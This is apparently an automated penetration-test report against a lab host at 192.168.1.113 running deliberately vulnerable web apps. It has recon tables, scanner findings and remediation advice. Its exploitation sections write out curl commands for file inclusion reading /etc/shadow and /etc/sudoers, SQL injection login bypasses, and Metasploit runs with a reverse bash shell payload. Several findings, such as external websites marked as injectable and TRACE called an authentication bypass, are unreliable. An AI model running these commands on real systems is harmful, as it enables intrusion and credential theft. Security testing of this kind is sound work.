Comprehensive Report

Comprehensive Exploitation Report

Target: 192.168.1.113

Generated: 2025-09-02 02:36:58

Executive Summary

- **Total Exploits Found**: 14
- **Successful Services**: 2
- **Services Tested**: 3

Risk Summary

Severity	Confirmed	Potential
Critical	0	0
High	5	9

Severity	Confirmed	Potential
Medium	0	3
Low	1	0

Services & Scan Overview

- **Tools Executed**: Burp, Nuclei, Sslyze, Ssh Audit, Nmap Vuln, Smb Checks, Combined

Service	Ports	Recon	Exploit	Post-Exploitation
APPLIX	999/udp	-	-	-
CFDPTKT	120/udp	-	-	-
DHCPC	68/udp	-	-	-
DHCPS	67/udp	-	-	-
H225GATEDISC	1718/udp	-	-	-
HTTP Web Server (Port 80)	-	Yes	Yes (7)	Yes (9)
HTTP_POST	-	-	-	-
IISRPC-OR-VAT	3456/udp	-	-	-
IMAP	143/tcp	-	-	-
JAVA-OBJECT	5001/tcp	-	-	-
MICROSOFT-DS	445/udp	-	-	-

Service	Ports	Recon	Exploit	Post-Exploitation
NAT-T-IKE	4500/udp	-	-	-
NETASSISTANT	3283/udp	-	-	-
NETBIOS-DGM	138/udp	-	-	-
NETBIOS-NS	137/udp	-	-	-
NETBIOS-SSN	445/tcp	-	-	-
PCANYWHERESTAT	5632/udp	-	-	-
PROFILE	136/udp	-	-	-
QOTD	17/udp	-	-	-
RPCBIND	111/udp	-	-	-
SSH (Port 22)	-	Yes	Yes (7)	Yes (1)
SSL-HTTP	443/tcp	-	-	-
UNKNOWN	49188/udp	-	-	-
UPNP	1900/udp	-	-	-
WIN-RPC	1026/udp	-	-	-
XDMCP	177/udp	-	-	-

Critical Attack Chains

Attack Chain	Risk	Description
LFI to Credential Exposure	High	1. **LFI Exploited**: A Local File Inclusion vulnerability was confirmed. 2. **Password File Leaked**: The LFI was used to download the `/etc/passwd` file. 3. **Impact**: The user list from this file significantly increases the risk of successful brute-force attacks against other services like SSH or FTP.

Confirmed Vulnerabilities

The following vulnerabilities were actively exploited and confirmed on the target system.

Vulnerability	Risk	Impact
Local File Inclusion (LFI)	High	Can lead to information disclosure, such as leaking sensitive files, and may be escalated to Remote Code Execution (RCE) on misconfigured systems.
SQL Injection	High	May lead to data exfiltration, authentication bypass, and in some cases, remote code execution on the database server.
HTTP TRACE Method Enabled	Low	Can be used in Cross-Site Tracing (XST) attacks to steal cookies.

Vulnerability Assessment

Burp Suite Findings

- **Critical**: 0 | **High**: 13 | **Medium**: 3 | **Low**: 6 | **Info**: 77

Severity	Name	URL	Confidence
Info	Backup file	/railsgoat/assets/application.js	Certain
Info	Input returned in response (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Certain
Info	Input returned in response (reflected)	/mutillidae/images/help-icon-48-48.png	Certain
Info	Input returned in response (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Certain
High	Cross-site scripting (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Certain
Info	Suspicious input transformation (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Firm
Info	Input returned in response (reflected)	/mutillidae/images/help-icon-48-48.png	Certain
Info	Input returned in response (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Certain
Info	Input returned in response (reflected)	/mutillidae/images/help-icon-48-48.png	Certain

Severity	Name	URL	Confidence
High	Cross-site scripting (reflected)	/webgoat.net/Resources/jquery-ui/jquery-ui-1.8.16.custom.css	Certain

Nuclei Findings

• **Critical**: 0 | **High**: 0 | **Medium**: 0 | **Low**: 0 | **Info**: 0

TLS/SSL Checks (SSLyze)

• Findings (approx): 0

SSH Audit

• Recommendations: 2

Nmap Vuln/Vulners

• CVE references found: 131

SMB Quick Checks

• Vulnerable script hits: 1

Potential Vulnerabilities

The following vulnerabilities were identified but not actively exploited during the engagement.

Vulnerability	Risk	Impact
Apache/2.2.14	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
PHP/5.3.2-1ubuntu4.30	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
Python/2.6.5	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
Apache/2.4.54).	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
PHP/5.3	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
PHP/5.3.2-1ubuntu4.30.	High	Outdated software can be exploited by attackers to gain unauthorized access or execute malicious code.
ETag Information Leak (Inode Leakage)	Medium	Security misconfigurations can expose sensitive data or functionality, potentially leading to unauthorized access.
mod_negotiation + MultiViews Enabled (Brute-force Files)	Medium	Security misconfigurations can expose sensitive data or functionality, potentially leading to unauthorized access.
HTTP TRACE Method Enabled (XST Attack)	Medium	

Vulnerability	Risk	Impact
		Security misconfigurations can expose sensitive data or functionality, potentially leading to unauthorized access.

Prioritized Remediation Plan

Immediate Actions Required (Critical & High Risk):

- Sanitize all user-supplied input to prevent directory traversal attacks (e.g., remove `../`).
- Implement a whitelist of allowed files and paths that can be accessed.
- Keep server software and PHP updated to the latest stable versions.
- Use parameterized queries (prepared statements) for all database interactions.
- Avoid building SQL queries by concatenating strings with user input.
- Validate and sanitize all user input before it is used in a database query.

Secondary Actions (Medium & Low Risk):

- Disable the HTTP TRACE method in your web server's configuration.

Reconnaissance

SSH (Port 22)

Field	Value
Target	192.168.1.113
Port	22

- **Allows Password Auth**: False
- **Audit**:
- **Auth Methods**:
-
- **Exploitdb Cves**:
- none
- **Exploitdb Mods**:
- OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) (linux/remote/45210.py
- OpenSSH 2.3 < 7.7 - Username Enumeration (linux/remote/45233.py
- OpenSSH < 6.6 SFTP (x64) - Command Execution (linux_x86-64/remote/45000.c
- OpenSSH < 6.6 SFTP - Command Execution (linux/remote/45001.py
- OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain So (linux/local/40962.txt
- OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading (linux/remote/40963.txt
- OpenSSH < 7.7 - User Enumeration (2) (linux/remote/45939.py
- **Msf Cves**:
- none
- **Msf Mods**:

- none
- **Server**: OpenSSH
- **Version**: 5.3p1

HTTP Web Server (Port 80)

Field	Value
Target	192.168.1.113
OS Fingerprint	Linux 2.6.17 - 2.6.36
HTTP Banner	Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
HTTPS Banner	unknown
Discovered Endpoints	64
Vulnerable Endpoint Categories	file_upload, sql_injection

Discovered Endpoints (top 25)

URL	Type	Params
http://192.168.1.113/.svn/entries.zip	general_endpoint	id, file, page (+2)
http://192.168.1.113/.svnignore.config	sensitive_file	file, path, include

URL	Type	Params
http://192.168.1.113/.svnignore.zip	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htaccess.bak	sensitive_file	file, path, include
http://192.168.1.113/cgi-bin/	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htpasswd.bak	sensitive_file	file, path, include
http://192.168.1.113/phpmyadmin	admin_panel	username, password, user (+4)
http://192.168.1.113/.htpasswd	general_endpoint	id, file, page (+2)
http://192.168.1.113/.svn.php	dynamic_file	id, file, page (+6)
http://192.168.1.113/.htpasswd.zip	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htpasswd.txt	general_endpoint	id, file, page (+2)
http://192.168.1.113/.svn.zip	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htpasswd.config	sensitive_file	file, path, include
http://192.168.1.113/.svn.config	sensitive_file	file, path, include
http://192.168.1.113/.hta.txt	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htaccess.zip	general_endpoint	id, file, page (+2)
http://192.168.1.113/.svnignore.php	dynamic_file	id, file, page (+6)
http://192.168.1.113/javascript	general_endpoint	id, file, page (+2)
http://192.168.1.113/.svn.txt	general_endpoint	id, file, page (+2)

URL	Type	Params
http://192.168.1.113/phpBB2	general_endpoint	id, file, page (+2)
http://192.168.1.113/icon	general_endpoint	id, file, page (+2)
http://192.168.1.113/.hta.bak	sensitive_file	file, path, include
http://192.168.1.113/joomla	general_endpoint	id, file, page (+2)
http://192.168.1.113/.htaccess.config	sensitive_file	file, path, include
http://192.168.1.113/.htaccess.txt	general_endpoint	id, file, page (+2)
... and 39 more endpoints		

Vulnerable Endpoints

Type	URL	Parameter	Evidence
Sql Injection	http://192.168.1.113/ghost	id	-
Sql Injection	http://192.168.1.113/ghost	file	-
Sql Injection	http://192.168.1.113/ghost	page	-
Sql Injection	http://192.168.1.113/ghost	param	-
Sql Injection	http://192.168.1.113/ghost	action	-
Sql Injection	https://sourceforge.net/p/owaspbwa/tickets/?limit=999&amp	param	-
Sql Injection	https://sourceforge.net/p/owaspbwa/tickets/?limit=999&amp	page	-

Type	URL	Parameter	Evidence
Sql Injection	http://www.itsecgames.com/	file	-
Sql Injection	http://www.itsecgames.com/	param	-
Sql Injection	http://www.itsecgames.com/	id	-
Sql Injection	http://www.itsecgames.com/	page	-
Sql Injection	http://peruggia.sourceforge.net/	file	-
Sql Injection	http://peruggia.sourceforge.net/	param	-
Sql Injection	http://peruggia.sourceforge.net/	id	-
Sql Injection	http://peruggia.sourceforge.net/	page	-
Sql Injection	https://www.owasp.org/index.php/OWASP_Security_Shepherd	file	-
Sql Injection	https://www.owasp.org/index.php/OWASP_Security_Shepherd	param	-
Sql Injection	https://www.owasp.org/index.php/OWASP_Security_Shepherd	id	-
Sql Injection	https://www.owasp.org/index.php/OWASP_Security_Shepherd	page	-
Sql Injection	http://www.phpbb.com/	page	-
... more vulnerable endpoints omitted for brevity			

- **Auth Bypass Opportunities**:

• HTTP TRACE Method

• **Burp Runner**:

• **Burp Summary**:

• **Default Files**:

• /index

• /phpmyadmin/changelog.php

• **Exploitable Versions**:

• **Http Exploit Cves**:

• none

• **Http Exploit Found**: no

• **Http Exploit Mods**:

• none

• **Https Exploit Cves**:

• none

• **Https Exploit Found**: no

• **Https Exploit Mods**:

• none

• **Joomla Findings**:

• **Version**: unknown

• **Login Form Sql Injection**:

• **Success**: False

• **Misconfigurations**:

• ETag Information Leak (Inode Leakage

• mod_negotiation + MultiViews Enabled (Brute-force Files

• HTTP TRACE Method Enabled (XST Attack

• **Os Exploit Cves**:

• CVE-2009-2692

• CVE-2010-3904

• CVE-2021-22555

• **Os Exploit Found**: yes

• **Os Exploit Mods**:

• exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc

• exploit/linux/local/rds_rds_page_copy_user_priv_esc

• exploit/linux/local/sock_sendpage

• **Outdated Software**:

• Apache/2.2.14

• PHP/5.3.2-1ubuntu4.30

• Python/2.6.5

• Apache/2.4.54

• PHP/5.3

• **Sqlmap Findings**:

• **Database Type**: unknown

• **Technique**: unknown

• **Technologies**:

• **Web Server**:
  ◦ Apache

• **Programming Language**:
  ◦ PHP

• **Wordpress Findings**:

• **Version**: unknown

Exploitation

HTTP Web Server (Port 80)

- Type: Local File Inclusion (LFI) - Discovered Endpoint
- Details: LFI found on discovered endpoint http://192.168.1.113/cgi-bin/ with parameter file
- PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=../../../etc/passwd'` - Type: ETag Information Leak - Details: ETag information leak exploited - PoC:

`bash curl -I http://192.168.1.113` - Type: HTTP TRACE Authentication Bypass - Details: HTTP TRACE method exploited for authentication bypass - PoC:

`bash curl -X TRACE http://192.168.1.113` - Type: SQL Injection (Error-based Indicator) - Details: Possible SQL error reflection at http://192.168.1.113/mutillidae/user-info.php?username=1' - PoC:

`bash curl 'http://192.168.1.113/mutillidae/user-info.php?username=1''` - Type: SQL Injection (POST - Error-based) - Details: SQL Injection (POST - Error-based): http://192.168.1.113/mutillidae/login.php param username - PoC:

`bash curl -X POST 'http://192.168.1.113/mutillidae/login.php' --data 'username=%27+OR+%271%27%3D%271&password=test'` - Type: SQL Injection (POST - Error-based) - Details: SQL Injection (POST - Error-based): http://192.168.1.113/mutillidae/login.php param password - PoC:

`bash curl -X POST 'http://192.168.1.113/mutillidae/login.php' --data 'username=test&password=%27+OR+%271%27%3D%271'` - Type: SQL Injection (POST - Error-based) - Details: SQL Injection (POST - Error-based): http://192.168.1.113/mutillidae/user-info.php param username - PoC:

`bash curl -X POST 'http://192.168.1.113/mutillidae/user-info.php' --data 'username=%27+OR+%271%27%3D%271'`

SSH (Port 22)

- Type: potential_exploit_finding
- Details: Reconnaissance identified a potential exploit: OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) (linux/remote/45210.py)
- PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH 2.3 < 7.7 - Username Enumeration (linux/remote/45233.py) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH < 6.6 SFTP (x64) - Command Execution (linux_x86-64/remote/45000.c) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH < 6.6 SFTP - Command Execution (linux/remote/45001.py) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Domain So (linux/local/40962.txt) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading (linux/remote/40963.txt) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22` - Type: potential_exploit_finding - Details: Reconnaissance identified a potential exploit: OpenSSH < 7.7 - User Enumeration (2) (linux/remote/45939.py) - PoC:

`bash Review the module/exploit and execute it manually against the target: 192.168.1.113:22`

Post-Exploitation

HTTP Web Server (Port 80)

- Type: LFI File Download
- Details: Downloaded /etc/passwd
- PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/passwd'` - Type: LFI File Download - Details: Downloaded /etc/shadow - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/shadow'` - Type: LFI File Download - Details: Downloaded /etc/hosts - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/hosts'` - Type: LFI File Download - Details: Downloaded /etc/ssh/sshd_config - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/ssh/sshd_config'` - Type: LFI File Download - Details: Downloaded /etc/sudoers - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/sudoers'` - Type: LFI File Download - Details: Downloaded /var/log/auth.log - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/var/log/auth.log'` - Type: LFI File Download - Details: Downloaded /var/log/syslog - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/var/log/syslog'` - Type: LFI File Download - Details: Downloaded /etc/crontab - PoC:

`bash curl 'http://192.168.1.113/cgi-bin/?file=/etc/crontab'` - Type: http_post_exploit summary - Details: 2025-09-02 02:25:30,460 - INFO - Starting HTTP post-exploitation of 192.168.1.113:80 using reconnaissance data 2025-09-02 02:25:30,820 - INFO - Running: sqlmap -u http://192.168.1.113/mutillidae/user-info.php -p

username --batch --dbs --level 3 --risk 2 2025-09-02 02:25:36,243 - INFO - Testing Metasploit HTTP post-exploitation: exploit/unix/webapp/php_cgi_arg_injection 2025-09-02 02:25:36,244 - INFO - Running: msfconsole -q -x use exploit/unix/webapp/php_cgi_arg_injection; set RHOSTS 192.168.1.113; set RPORT 80; set LHOST 192.168.1.16; set LPORT 4444; set PAYLOAD cmd/unix/reverse_bash; run; exit 2025-09-02 02:27:06,109 - INFO - Testing Metasploit HTTP post-exploitation: exploit/linux/http/php_cgi_script_header 2025-09-02 02:27:06,110 - INFO - Running: msfconsole -q -x use exploit/linux/http/php_cgi_script_header; set RHOSTS 192.168.1.113; set RPORT 80; set LHOST 192.168.1.16; set LPORT 4444; set PAYLOAD cmd/unix/reverse_bash; run; exit 2025-09-02 02:28:12,719 - INFO - Testing Metasploit HTTP post-exploitation: exploit/linux/http/php_cgi_query_string 2025-09-02 02:28:12,719 - INFO - Running: msfconsole -q -x use exploit/linux/http/php_cgi_query_string; set RHOSTS 192.168.1.113; set...

SSH (Port 22)

- Type: ssh_post_exploit summary
- Details: 2025-09-02 02:32:02,989 - WARNING - The best exploit found ('potential_exploit_finding') does not provide credentials for post-exploitation. No actions taken. 2025-09-02 02:32:02,990 - INFO - No actionable post-exploitation steps were taken.